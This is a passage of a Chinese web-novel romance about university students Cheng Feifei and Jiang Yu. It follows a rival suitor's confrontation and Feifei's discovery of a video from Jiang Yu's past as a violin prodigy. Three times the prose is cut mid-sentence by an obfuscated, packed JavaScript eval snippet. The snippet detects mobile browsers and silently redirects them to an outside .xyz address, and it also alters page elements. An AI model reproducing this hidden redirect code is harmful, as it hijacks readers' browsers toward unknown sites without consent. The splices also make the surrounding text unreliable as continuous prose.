这个点,小公园里没什么人,江羽在长椅上坐下来,打开书包,拿出刚刚没有看完的书。 再过一阵子,就要填报大三的专业志愿了。 江羽望着书本上密密麻麻的统计学公式,眼睛里滚过笃定的期待。 初考上江大的时候,自己的心境还带着点无所谓的浑噩,未来什么样,好像也没有那么在乎。 可是现在,他却希望时间能走得快一些。 他迫不及待地想要毕业,想要有能力独当一面,好亲手搭建一个温馨的、安定的未来。 他和霏霏的未来。 林间有鸟雀啾鸣,江羽抬起头,目光不经意地放远。 动作却蓦地一顿。 不远处的树林里,程霏霏正站在一棵葱翠的杉树下。 夕阳自林叶间穿过,照在她漆面的短筒皮靴上,一闪一闪。 她对面,一个身形高瘦的男生微微低头,正在同她说话。 明明还没有到冬天,江羽的心情却如同冰冻的湖面上吹起寒风,卷起难以名状的冷意,却随即掩在了平静的表象之下。 他没想到,原来李泽昱已经回来了。 * “怎么这么早就回来了?”程霏霏努力牵起一个笑。 “我提前修完了学分,就回江城了。正好,还能赶回来参加学校的期末考试。” 李泽昱看上去更精干了些,头发剪得很短,与银色的镜架搭在一起,愈加干练利落。 讲话的时候,好像又回到了当初相识时那副温文尔雅的神态;偶尔一笑,散发着足以迷倒女孩子的彬彬风度。 程霏霏猜测,这趟游学经历,应该还挺让他满意的。 她不动声色地笑笑:“姚安琪呢,没和你一起回来?” “霏霏。”李泽昱的笑容淡了些,神色认真,“我和姚安琪分手了。” 程霏霏瞠目结舌。 ——这也太快了点吧? 不过,也没什么稀奇的。如今这个年代,谈恋爱就像吃快餐,男女之间喜欢就在一起,不喜欢了就赶紧拜拜,下一个更乖。 幸好,她和江羽不是这样。 只听李泽昱接着道:“刚回来就听说,你在电视台实习。你毕业之后有什么打算?想留在电视台吗?我之前因为学生会的关系,接触过这边的几位领导,如果有什么我能帮上忙的,你不必跟我客——” “李泽昱。”程霏霏忽然打断他的话,“你今天来找我,究竟有什么事?” 李泽昱微微一愣,眉宇间多了几分郑重:“我只是想告诉你,我回来了,而且,已经恢复了单身。你……你如果还……” “你既然能打听到我在哪里实习,想必也能打听到,我有男朋友的。”程霏霏觉得莫名其妙。 李泽昱的脸色沉了沉:“……我知道,拓知班的,常跟在汪教授身边的那个。” “那你还来找我说这些?” 李泽昱抬起头,镜片反着一丝刺眼的光:“大家都在传,他只不过是你花钱买下的人。” 程霏霏觉得更可笑了:“照你这么说,我都花钱养男人了,你还来找我干吗?” 李泽昱没有在意她话中的揶揄,眼神闪过些许自嘲之色:“我也是刚刚才知道,你不是什么普通家庭出身。相反,你家境很好,还有闲钱养男人。” 程霏霏点了下头,一句额外的解释也没有。 “他们不了解真相,可是我了解。”李泽昱的语气忽然有些急促,“霏霏,我知道你对他不是真心的,你当初是对我失望,才和他在一起。” 程霏霏眉头一皱,看他的眼神越发奇怪。 “我不介意。只要你能回到我身边,你和他之间的一切,我都能翻篇。” 程霏霏噗嗤一笑:“你还挺大度。” 她刚想密集输出一番,纪玫的电话忽然来了,说采访嘉宾到了,让她赶紧去正门迎接。 程霏霏嗯嗯啊啊地应付完电话,看向一脸深情的李泽昱:“抱歉啊,我现在有点忙,得立刻赶回去。” 临走之前,她十分认真地说:“我和我男朋友不是什么花钱包养的关系,那些传闻都是假的。我们感情很好,我很喜欢他,会和他一直在一起。学长,你以后不要再来找我了。” 说完,也没管李泽昱什么反应,程霏霏一边回着手机上的消息,一边沿着林间小路飞速往回走。 公园里鸟鸣啾啾,一个人影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464404|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有,连长椅上都空空如也。 程霏霏呼出一口气,庆幸地想,今天李泽昱忽然跑来找她,还好她灵机一动,把人带到了这种没人的地方来。 要是在电视台里见面,被其他实习的同学看到,结合校园论坛上一直沸沸扬扬的八卦,她怕是跳进黄河也洗不清了。 别人怎么想,她才懒得管,她只是不想让江羽误会。 * 程霏霏在台里一通乱忙,终于得以下班的时候,月亮都快升到中天了。 她抱着一摞资料,生无可恋地从电视台的大门里走出来,才发现今天的天气很好,连星星都是亮的。 明明下午也出来过,竟然没有留下一丝一毫的印象。 马路上依旧车流如注,程霏霏打算叫个车回学校。 她边走边低头摆弄手机,冷不丁地,忽然撞到了人。程霏霏刚要开口道歉,一抬眼,就对上了江羽低垂的目光。 那个瞬间,程霏霏只觉得自己的心都被点亮了,身轻如燕,累了一整天的身体和精神立刻抖擞了起来。 她眼睛里冒着金光般的喜悦,一头扎进江羽怀里,紧紧搂着他,把脸贴在他的胸口。 “你怎么来啦!” 江羽并没有立刻回抱她,眼神掩在黑夜的影子里,声音有些轻:“想你,就来找你了。” 程霏霏开心得两只眼眯成一条缝,猫一样蹭着他:“唔,最近实在是太忙了,都没能去找你。等我忙完这一阵子,我们去郊游好不好?任可心最近发现了个好地方,鸟可多了……” 顿了顿,她又改口:“算了,不叫他们了,就我跟你去。” “看鸟的话,何必跑那么远?”江羽的声音透着一股沁凉的漫不经意,“这附近,不就有一个街心公园?” 程霏霏一愣,有什么奇怪的直觉一闪而过。 她懒得深想,抬手掐了一把江羽的腰,没好气地说:“你干脆劝我去台里加班得了!” 江羽任由她动作,对着眼前这张无忧无虑的笑颜,终是什么也没有问。 程霏霏玩够了,正要收手,江羽却忽然攥紧了她的手掌,眸光沉沉地望进她的眼睛。 “霏霏,你真的……喜欢我吗?” “这还有假?”程霏霏只当他是在撒娇,心思早已飘到了九霄云外。 她一把将手抽出来,又去捏江羽的脸。 眼下的手感这样好,她心弦浅拨,口干舌燥,只想上去亲一口。 她也这么做了。 头顶的夜空漫无边际,拢下无限的寂静,安抚着白日疲惫不堪的灵魂。 江羽闭了闭眼睛,强迫自己驱逐掉不该有的杂念。 两手搂住她,用力按进自己怀里,紧得她忍不住轻哼出声。 程霏霏闭着眼睛,对其他事情恍若未觉,只全身心地沉浸在这小别数日之后的亲密里。 一辆小轿车从电视台的大门里驶出来,徐徐汇入金色的车流。 纪玫坐在驾驶座上,应付完台里的工作电话,百无聊赖地等红灯。目光一转,瞥到路边一对形影相依的小情侣。 女孩子她认识,是她手底下那个实习生,程霏霏。 纪玫一笑,年轻可真好。 又八卦地瞥了眼旁边的男孩子。 蓦地一怔。 怎么是他? 他怎么会在江城的? 绿灯亮了,后面的车不耐烦地按了按喇叭,纪玫不得不启动车子,缓缓地驶离路口。 两侧的灯光如月华般流淌在挡风玻璃上。 后视镜里,小情侣的身影渐行渐远,直到彻底看不见。 54. 54 皓月当空,清冷的夜风拂动校园里婆娑的树冠,掀起一阵绿波,起伏着涌向夜色深处。 李泽昱站在宿舍楼的天台上,手里拎着一罐喝了半截的啤酒,冷眼注视着虚空。 宿舍里正热闹,周韬带着两个寝室的男生打团战。李泽昱嫌吵,自己避了出来,到这里寻清静。 他呷了一口啤酒,神情怅然。 从小到大,能离开江城的次数屈指可数。 高考的时候填报江大,也是家人的意思。他们希望他能留在身边,毕了业就在本地找一份稳定的工作,方便照顾家里。 这次香港之行,是李泽昱短暂人生中最“大开眼界”的一次。他隐隐觉得,自己对未来有了新的期许,很想去外面的世界闯一闯。 可惜,理想和现实总是相悖,他喜欢的、想要的,似乎都很难合情合理地拥有。 到香港以后,他才从姚安琪的吐槽里得知程霏霏真实的家境。 心底不仅没有一丝丝被蒙骗的愤怒,反倒还有些暗暗的欢喜——程霏霏对别人不遮不掩,唯独在他面前小心翼翼地伪装,不就是为了同他走得更近、获得他的怜惜吗? 这份心意多么难得,竟然被他生生错过了! 李泽昱一边后悔,一边咬着牙用功学习,对别的什么事都漠不关心,面对姚安琪也愈加敷衍。 他觉得,自己的心乱了,很难再像以前那样,在两个女孩子之间维持平衡。 前途之外,他有了另一样特别想得到的东西,哪怕会因此失去姚安琪舅舅的助力,也在所不惜。 离开香港之前,他主动提出了分手。 姚安琪很震惊,缠着他大哭大闹,却依然动摇不了他分开的决心。 好在,姚大小姐平时光顾着玩,学分还没有修完,要待到学期结束以后才能回来,这让李泽昱松了一口气。 他刚刚返回江城,第一时间就去找程霏霏告白,心情迫切到难以自抑。 可程霏霏的回应让他既震惊、又失望。 她明明喜欢了自己那么久,怎么会因为一个半路冒出来的毛头小子,就轻易变了心? 这是什么欲拒还迎的新招数吗?还是在考验他? 李泽昱正在凝眉思索,突然,远处的铁门“哐当”一声响,有什么人上来了。 天台上光线昏暗,李泽昱站在角落里,没有出声。 那人步伐凌乱,似乎是喝多了,还绊了一下。 “宝贝儿,放心吧,我肯定能顺利毕业……” 对方正在打电话。 “嗐,不就是个破论文么?我告诉你,这个世界上,就没有钱办不了的事儿!” 此人的口气很是得意洋洋,卖了好半天关子,才神秘兮兮地说:“我找了个厉害的外援,没准儿,这次还能给我捞个优秀毕业生当当!就我们系那个李泽昱,天天装得跟什么似的,啥好处都是他的。咱们走着瞧,毕业典礼上,发言的还指不定是谁呢!” 夜风将每一句话精准地送进了李泽昱的耳朵。 他早就听出了来人是谁。 李泽昱嗤了一声,懒得搭理。 富二代嘛,没别的本事,只剩下吹了。 可柯有为接下来的话却让李泽昱浑身一震—— “一稿已经过了,指导老师跟开了眼似的,当场就要给我申报校级优秀论文!不是我吹,那小子还真有两下子,不愧是拓知的人啊。怪不得姓汪的天天捧着,跟护眼珠子似的……” 李泽昱的心跳得极快,手指忍不住越收越紧,易拉罐发出“咯吱”一声响。 柯有为一惊,上头的醉意清醒了几分。 意识到天台上还有其他人,他赶紧止住了话头,着急忙慌地离开了。 李泽昱消化了一会儿刚刚得到的信息,脑子里把自己的人脉网滤了一遍。 他很快锁定了某个学生会的部下,似乎和江羽的关系还不错。 * “你说啥?姓李的要请我们吃饭?” 项凡皱着眉头,满脸都写着不懂。 “对啊,学长刚从香港回来,说好久没见面了,想和我聚聚。不过我们两个男的单独吃饭有点奇怪,他就建议,不如把你们也一起叫上。” 裴一舟接到前辈的邀请,心里很有点子高兴,趁着课间跑来和两个好友商量,项凡的臭脸也没能影响他的热情。 “两个男的吃饭怎么了?我还经常和你一块吃饭呢,哪里奇怪了?”项凡不依不饶,“我看这姓李的一定没安好心,我不去。” 他又戳了戳一旁的江羽:“你也别去,有这个时间还不如去约会。” 江羽沉吟了片刻,问裴一舟:“他什么时候联系的你?” “周五晚上。” 江羽点点头,把书往包里一塞,痛快应道:“好啊,去就去。” 姓李的下午见了霏霏,晚上就提出一起吃饭,八成是想和他碰一面。正好,他也打算会会他。 项凡在旁边炸毛:“你为什么要答应?你不是也看他不顺眼的么?” “不顺眼?”江羽冷冷一笑,语气比冰碴子还凉,“我们的眼神怕是太顺了!总是看中一样的。” 项凡背上一凛,感到一丝无形的杀气在空中徘徊——这顿饭难道是什么鸿门宴不成? 日暮西沉的时候,他们一行三人出了校门,来到上次吃烧烤的那家店。 李泽昱早早就到了,占了一张四人空桌,已经擦得干干净净,还布好了茶水。 看到他们几个,老远就站起身来迎接,带着一股莫名的正式感——这哪是上级请下属吃饭啊,分明像是有求而来。 他今天穿得很斯文,毛衣领口露出尖头的衬衣领,配上细框眼镜,和身后烟熏火燎的烧烤店非常不搭。 反观江羽他们,简直就像睡完午觉随便套了条麻袋出门,主打一个邋遢美学。 李泽昱含笑的眼神掠过来,在江羽身上不动声色地一顿。 他对这个学弟印象不深,只知道他是大名鼎鼎的汪教授的爱徒,今天一见,竟是先被他的长相惊到——没有任何外物的修饰,就是纯骨相的英俊潇洒。 他忽然明白,程霏霏为什么会移情别恋。 江羽迎着他的打量,从容不迫地坐下,撩起眼皮,坦荡如砥地回视过去,逼得李泽昱不得不移开了目光。 虽然校园八卦把这小子描述成“为钱上位”,可李泽昱敏锐地觉得,他身上根本一丝穷味也无,还莫名很像个有钱公子哥——就像他在香港的学校里接触过的那些精英家庭出身的人一样,是从骨子里透出的松弛,打扮得再随意,姿态也不卑不亢。 这种由内而外的淡定,不是一个穷小子能有的气度。 李泽昱心中一阵失落,面上却笑得滴水不漏:“初次见面,我是李泽昱。你们是一舟的朋友吧?今天我请客,学弟们想吃什么就随便点,不必客气。” 裴一舟热情地招呼江羽和项凡落座,自己随即和李泽昱热聊了起来。 他们真的没客气,尤其是项凡,几乎点了一整本菜单,逼得裴一舟频频给他使眼色,而他全当看不见。 几个男孩围着一大桌子烧烤和啤酒大快朵颐,很快喝得东倒西歪,在桌上勉强支棱着。 江羽没吃什么东西,也滴酒未沾,甚至不参与他们的聊天,全程拿着手机发消息。 手机忽然嗡嗡震动起来,江羽看了一眼来电人,悄声起身,绕到餐馆后面的巷子里接电话。 “你们还没吃完?” 程霏霏只当他和朋友在外面聚餐,不知道李泽昱也在场。 江羽唇边挂着笑,嗓音温柔:“就在上次咱们吃过的那家烧烤店,一会儿给你打包些带过去?” “好啊,我想想要吃什么……” 宵夜给程霏霏注入了加班的动力,她噼里啪啦地报了一堆菜名,忽然问:“你都记清楚了吗?” “一个不少。”江羽肩膀夹着手机,手里拿着一份菜单,在上面飞速写写画画。 蓦地,他想起了那张背面写着包养协议的菜单,倏尔一笑。 “笑什么?”隔着听筒,程霏霏捕捉到一丝微妙的促狭,佯怒道:“你是不是在笑我吃得多!” “怎么会。”江羽一脸严肃正经,“是我打的勾太多,都重影了,怀疑自己眼花而已。” “……” 程霏霏羞恼地“啪”一声挂了电话,几秒钟后,一条微信衔尾而至—— 【我点的东西都记着呢,敢少一样,唯你是问!】 江羽抿唇而笑,正回着消息,一转身,李泽昱就站在不远处,眸色深沉地望着他。 * 一道冷风卷起地上的砂尘,噼里啪啦地抽打着小巷里五颜六色的塑料灯箱。 江羽迎着那道捉摸不定的目光,眼神冷淡下来,余光暗含一丝警惕。 李泽昱笑着问:“是霏霏的电话?” 饶是做过心理建设,这声“霏霏”还是轻而易举地拨动了江羽的神经。 一丝无形的怒意攀上心头,他抿了抿唇,将手机插回裤兜,声线薄得似冰棱一般:“无可奉告。” “还有——”江羽顿了顿,直白地说:“我女朋友的名字叫程霏霏,麻烦学长称呼她的全名。” 李泽昱轻哼一声:“我认识霏霏的时候,你还不知道在哪儿呢。” 既然已经聊到了这里,也不绕圈子了,李泽昱索性单刀直入地亮明了今天这顿饭的目的:“学弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493499|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我希望你能够离开霏霏,别再纠缠着她不放了。” 江羽眉间一缕荒唐:“这句话理应我送给你吧?” 李泽昱叹了口气:“我今天不是来和作你口舌之争的。学弟,我知道你想要什么。你经济上有需求,想走一条捷径,也是人之常情。但你要明白,这条路并不好走。” 他顿了顿,竟然露出几分真诚之色:“实不相瞒,我当初也和你一样……只不过,当时目光短浅,做了一个不太明智的选择,至今都很后悔。所以,你好自为之吧。” 江羽没想到,这人绕这么大个圈子约他出来,竟然是以过来人的姿态,劝他放下手里这碗软饭。 啼笑皆非之外,江羽觉得眼前这个人,似乎和自己设想得不太一样。 裴一舟很崇拜他,平时说尽了他的好话,加上他曾经是霏霏的意中人……江羽潜意识里,是高看他一眼的。 今天却觉得,李泽昱这个人看上去温文有礼、情商颇高,初见之下的确会令人心生敬仰,可是细细琢磨的话,他所有的态度和举动背后都透着思虑,行事唯利是逐,内心也满是矛盾挣扎,良心并不太平,绝不是个坦荡正直的君子。 江羽凉凉开口:“我们不一样。你也并不清楚我要什么。” 李泽昱不置可否:“也对,你我看似相似,其实有很多不同,这一点我承认。” 他忽然一笑,那笑容阴恻恻的,带着点意味深长:“只是不知道,霏霏她什么时候才能明白,你毕竟不是我。” 江羽一怔,眸光霎时变得冷锐:“你什么意思。” 手上那张菜单越攥越紧,力道大得指节隐隐泛白。 两道不善的目光在空中交锋,巷子里的空气压抑得仿若停止了流动。 江羽只觉得心间迅速拢起一团冰冷的怒火,这怒意太过熟悉,已经在他的心底焚烧了无数遍,此刻燃得正旺,火舌不断地舔舐着他的理智。 一墙之隔的室内,项凡忽然大声嚷嚷起来。 某人因为喝醉了找不到厕所,正满世界的闹脾气;而裴一舟架着他,絮絮叨叨地往另一个方向走。 这段插曲将原本剑拔弩张的氛围撕开了一个角。 江羽默默地调整呼吸,迫使自己冷静下来。 今天是裴一舟邀请他来的,他不能砸兄弟的场;更重要的,他不想让程霏霏知道,他和李泽昱见过面。 只有他自己清楚,内心深处,他有多么抗拒同她提起这个人。 他不要她因为任何原因,再和李泽昱有一丝一毫的交集。 江羽面沉如水,语气冷峻得不带一丝温度:“李泽昱,如果霏霏愿意接受你,你也不会来找我。” 李泽昱虚伪的笑容渐渐凝滞,斯文的皮囊似乎裂开了一条缝,姿态也不再游刃有余。 他沉下脸,缓缓地说:“之前我不在江城,很多事也没办法。现在我回来了,就绝对不会再放开她。你应该清楚,霏霏从来到江大起,喜欢的人就一直是我。我和霏霏之间的事,不是你能妄加揣测的。我今天是好心来劝你,立刻离开霏霏,否则,别怪我……” “痴人说梦。”江羽轻飘飘地打断他的话。 他扬了扬手里那张皱巴巴的菜单,一点耐心也没了:“我还要去给女朋友点宵夜,恕不奉陪了。” 说着,抬脚就朝巷子外走。 李泽昱紧随其后:“信不信我会让你后悔——” 话还没说完,突然被人一把抓住了衣领! 一道凛冽的拳风骤然袭来,带着怫然的怒意,眼看就要敲断李泽昱的鼻梁骨,却在鼻尖处堪堪停下。 李泽昱被这个动作钉在了原地,瞳孔张大,喉结上下一动,登时说不出话了。 江羽冷冷地看着他,一把松开了他的衣领。 李泽昱踉跄地后退几步,把歪掉的眼镜扶好。 “今后,你如果再敢骚扰她……”江羽盯着他的眼神幽暗而深沉,像风暴的中心,酝酿着压抑的愤怒,“我会让你明白,我的耐心有多不好。” 江羽转过身,大步走远。 李泽昱独自留在巷子里,脊背无声地起伏。 过了好一会儿,他整个人才重新恢复了惯常那副持重温和的样子。 昏黄的街灯下,李泽昱双眉紧蹙,脑中飞快思考,一边懊恼于方才短暂的退缩,一边又暗暗得意着。 他盯着江羽越来越远的身影,露出了一个晦暗扭曲的笑。 ——罢了,既然他无视自己的好心提醒,那他也不必再心软。 拓知的学生,常被江大的学子统称为天才。 而不识时务,大概是所有天才的通病。 正因为如此,天才的陨落,才是人们最爱看的热闹。 55. 55 “小程,周末有什么计划?” 员工食堂里,同组的导演姐姐热情地邀约:“要不要跟我们去看话剧?” 程霏霏客气地回绝:“不了,我要和男朋友去郊游。” “哦,就是你那个超级帅的男朋友呀——” 自打江羽有一回大中午的出现在电视台门口,给程霏霏送她忘在公寓里的项目资料,台里的同事们就一传十、十传百地知道,【古典之声】节目组的实习生小程有一个长得特别好看的男朋友。 程霏霏也毫不谦虚地承认下来,一套话术应对得滴水不漏——没错,是大学同学,谈挺久了,感情稳定,他虽然长得挺招人但真的只有我一个女朋友。 程霏霏吃完午饭,正在从员工食堂回工位的路上,忽然接到了她爸程广材的电话—— “霏霏,马上就到你大伯的忌日了。今年咱们提前回老家祭奠,顺便在那边住上几天。你准备一下,明天出发。” “啊?明天?”程霏霏瞬间苦了脸,忍不住抱怨,“爸,明天是周末,我约了人郊游呢……” “有红包拿。”程广材面不改色地补充。 “……郊游嘛,随时都可以,也不是不能改期。我已经做好了充分准备,执行您安排的任何行程!” 程霏霏痛快地挂了电话,不一会儿,程广材的红包就到了。她动作麻利地收下钱,转进自己的小金库。 程霏霏把余额重新眼熟了一遍,忍不住叹了口气。 自打她立下帮江羽还债的目标,已经勤勤恳恳地打工大半年了。好不容易攒下来的一丁点工资,还不如她爸一个红包给得多。 程霏霏清醒地意识到,自己以后要是想生活得好,唯有继承家产这一条路。靠自己打拼的话,大概会饿死。 不过,这钱也不是白拿,她只能毫无节操地舍弃男朋友,陪着她爸还有哥回乡下住上几天。 程霏霏心情低落地给江羽打了个电话。 明明是要放他的鸽子,却还要被他温言软语地哄好。 程霏霏就是在故意撒娇:“我一走好几天呢,你要记得想我。” “嗯。”江羽那边的背景声有些嘈杂,似乎是刚下课。 他换到一个僻静的角落,语气带着亲昵的暧昧:“保证白天想,梦里也想。” 程霏霏小脸一红:“……梦里就别想了!” 江羽似乎在笑,程霏霏没好气地挂了电话。 心情好了许多,她揣起手机,脚步一转,进了纪玫的办公室。 纪玫正在整理过往的资料,一抬头,看见程霏霏亭亭玉立地站在门口,笑得像只贼兮兮的仓鼠。 “玫姐,我家里有点事情,想请几天假。” 纪玫的手上抱了一大摞东西,小山一样,眼看顶上的几本书摇摇欲坠,马上就要崩塌,程霏霏赶紧上前接过,一整个端起来,塞进了上方的书柜里。 “小程,力气还挺大!” 纪玫赞许地笑笑,拿湿巾擦了手,打开书桌的抽屉,取出一个优盘扔给她。 “请假可以,不过这几天你也别闲着。上次不是说想学习怎么准备采访吗,这里是我以前新人时期搜集过的一些资料,里面有很多采访碎片,还有我录下的复盘心得什么的,兴许可以帮到你。” 这等好东西,程霏霏当然却之不恭:“谢谢玫姐!我一定好好看!” * 当天晚上,收拾完回老家的行李,程霏霏洗了个痛快的热水澡,然后边擦着头发,边打开了电脑。 纪玫的资料库充满了文艺工作者的气质——文件浩如烟海,却没有按照规律分门排序,只有灵感涌现时想出的古灵精怪的文件名,全是各种奇奇怪怪的视频小样。 程霏霏挨个点开那些视频。 有纪玫在帝都电视台工作时的出镜练习,一些废弃不用的采访镜头,或者走在大街上拍下来的奇奇怪怪的路人……程霏霏一边看,一边笑出声。 看起来那么知性干练、才思斐然的资深编导,也曾经有过这样杂乱无章的新手岁月呢。 看着看着,不觉就到了深夜。明天还要早起,程霏霏打着呵欠点开了最后一个视频。 她发誓,看完这一个就睡觉。 激昂的古典乐声突兀地响了起来,顺着耳机线传入程霏霏的耳朵,令她的精神陡然一震——这竟然是一台交响音乐会的影像。 金碧辉煌的音乐厅里座无虚席,华丽的灯光自穹顶落下,洒在一众年轻的乐手身上。 他们身着黑色的正装,端坐台上,表情庄肃沉静,正在演奏门德尔松的《e小调小提琴协奏曲》。 只见一个高挑的少年站在最靠近指挥的地方,在背景的和声中开启一段独奏。 他微侧着脸,眉眼轻阖,肩上的小提琴在温柔的光线下泛着细润光泽。随着他挥洒的琴弓,悠扬的乐曲自弦端流淌而出,磅礴有力地回荡在整个音乐厅里。 那琴声细腻又充满韧性,美妙至极,彰显出极高超的基本功。 随着曲调的深入,他的演奏渐起锋芒,如同海面上的飞鸟,在滚滚狂澜中穿云而过。 小提琴声驾驭着整首乐曲的流向,引领着全体声部高昂直上再悠然下落,将一首协奏曲演绎得荡气回肠,扣动人心。 观众的心仿佛也一起穿越了疾风暴雨,终抵浪恬波静。 少年看上去比现在稍显稚嫩一些。 头发打理得精致利落,脖颈上领结端正,清隽秀雅,一身裁剪合身的黑西装衬得他像个漂亮的小王子。 一曲毕,台下观众依然沉浸在音乐的余韵中,寂静了好几秒之后,才爆发出雷霆般轰鸣的掌声。 乐团指挥兴奋地下台,与首席的少年亲密击掌。二人看着年纪都不算大,这个动作稍稍暴露了他们活泼的本性。 程霏霏怔忪地盯着少年意气风发的笑脸,眼眶突然一热。 她想起他被自己骗去西餐厅的那天,衣着简陋到差点连餐厅的门都进不来。 自己胡搅蛮缠地要他拉琴,那挑逗的姿态,看着就像是在拿他取乐。 可是江羽并没有敷衍,很认真地演奏了曲子,结束的时候,还隔空给她行了一个优雅的谢幕礼。 那个谢幕礼,隔了这么久,依然还回荡在程霏霏的心头。 视频里,华服少年也走到台前,和乐团的全体成员一起,对着全场观众优雅谢幕。 如出一辙的动作,和记忆中的渐渐重合。 程霏霏忽然想,在餐厅重新拿起小提琴的时候,他在想什么呢? 有没有想起过这场高朋满座的音乐会? 是否还记得金色大厅上空那片瑰丽的穹顶? 心脏像是被什么东西紧紧揪住,又酸又疼。程霏霏抬手一抹,才发现脸颊上全是泪水。 她擦了一把眼泪,开始在文件夹里继续翻找起来——如果是采访资料的话,一定就还有更多! 硬盘里的视频被她一个个点开,这个不是,那个也不是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502283|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时钟的指针转了好几圈,程霏霏已经困得睁不开眼,还是强撑着继续找。 突然,一个晃动的镜头吸引了她的视线。 镜头中,刚刚那个和江羽击掌的乐团指挥探出头来。他穿着高中生的校服,正在对着摄像机说话。 “今天可不怪我啊,是我们江大首席还没来,已经迟到了……”男生看了看表,夸张地叫出了声,“天了噜,已经迟到了57分零41秒了!” 这时,礼堂的门“砰”的一声被人推开,一道白色的身影冲了进来。 程霏霏看到那截身影的一刻,呼吸就停止了。 少年穿着白色的T恤,背着黑色双肩包,脸上戴着黑色的口罩,步履如风地闯进了镜头里。 有一瞬间,程霏霏甚至怀疑,是不是熬夜太久的缘故,自己的眼睛和大脑竟然同时出现了幻觉? 她怔然地凝视着那个无数次出现在梦中的身影,越走越近,顺着台阶拾级而下。 仿佛有一股巨大的力量掀翻了她的神智,程霏霏“哗啦”一下从椅子里站起身,在房间里哆哆嗦嗦地后退。 浑身上下,好像每一根神经都在战栗,瞳孔微晃着,连呼吸都混乱了。 视频中,少年一口气冲到舞台跟前,摘下口罩,露出眉目如画的一张脸。 这张脸分明那样熟悉,此刻,却变得陌生至极。 蓄满眼眶的泪水再也无力维持,争先恐后地顺着程霏霏的脸颊滚落,淌进嘴角,苦得她的心都在瑟缩。 视频里,江羽努力平复着呼吸,冲所有人致歉:“我的错!路上有事耽搁了,对不住大家!排练完我请吃冰激凌!” 指挥哥满脸不爽:“什么事情能耽误你一个小时?老实交代,是不是把妹去了?” “把你妹。”江羽将肩上的背包卸下来,双手撑在台面上,长腿一勾,毫不费力地翻上了舞台。 他撸了一把凌乱的额发,捡起书包,这才发觉好像丢了什么东西。可还没来得及细看,书包就被指挥哥一把夺了过去。 “说好的给我带演奏会门票的,这回总该记得了吧?” 江羽没事人一样任由好友把自己的包翻了个底朝天,才幽幽地说:“那票啊——送人了。” “啊?送给谁了?” 江羽咧了咧嘴:“你不是说我把妹去了吗?当然是送给妹子了。” “江羽,你玩我呢!” 指挥哥气急,把包一扔,冲上去就要挠他。 两个男生你追我赶,闹了好一会儿,江羽才注意到角落里还架着摄影机,赶紧叫停了这场嬉闹。 “大指挥,给人家记者姐姐留点好印象吧!” …… 视频到这里就戛然而止了。 程霏霏自电脑前抬起头,窗外的天空已经挂上了银色的边,星星和月亮皆已隐去,不见踪迹。 楼下,隐隐有说话的人声传来,程霏霏知道,他们怕是要出发了。 现在去补个觉已经来不及,更何况,她一点睡意也没有。 程霏霏像一台锈掉的机器,就这么茫然而僵直地呆坐在书桌前,直至天光大亮。 程皓南来敲门,看到她已经起了床并且好端端地坐着,深感诧异。 仿佛所有的情绪都被眼泪掏空了,程霏霏双目失焦,如同行尸走肉一般被程皓南拖上了车。 车子一路行驶上出城高速,迎着前方橘红色的朝阳,向老家的方向行进,将这座刚刚才苏醒的城市留在了身后。 56. 56 程广材的老家在竹鲤县,距离江城市区不过百余公里。 在程霏霏看来,这个距离,完全没有必要留宿,更遑论要留宿好几晚。 但是她也理解,程广材为什么每年都要心心念念的回来住一阵子。 虽然自小生长在江城,但在童年的记忆里,程霏霏曾经跟着家人在竹鲤生活过一段时间。 那时候程广材生意不顺,资金链断裂,还欠了一屁股债。他没办法,只能携妻带女躲回老家,在祖屋里挨过了最艰难的日子。 后来,程广材的亲哥拿出了自己的全部积蓄,助力弟弟东山再起,程霏霏这才得以跟着爸爸妈妈重新搬回了江城。 这份恩情,令程广材铭记在心。后来他哥离世,程广材便将还在上小学的侄儿程皓南接到江城,当作亲儿子一般抚养长大。 一转眼,已经快要二十年了。 山风猎猎,视野高旷。程家三人皆一身黑衣,站在山林间的墓园里。 程皓南祭拜过父母之后,程广材挥挥手,打发孩子们走远些,他要和哥哥单独唠唠。 程霏霏便随着程皓南一起,在山野间四处溜达。 她回到老家已经好几天了,这里地处偏僻,手机信号不好,网络更是感应不到。 程霏霏好像一下子掉进了古代的日子,彻底回归了生活的本质。天刚蒙蒙亮的时候就自然醒来,夜幕降临的时刻便安然睡去。 山野宁静,没有任何打扰,屏蔽掉外界的一切喧嚣,心也跟着平静下来。 白天,程霏霏蹲在潺潺的溪流边,对着水中的鱼儿发一整天的呆。 夜晚,她窝在老家泛着潮气的木板床上,拿着毫无信号的手机,反反复复地回看同一段视频。 她还梦到了那场音乐会。 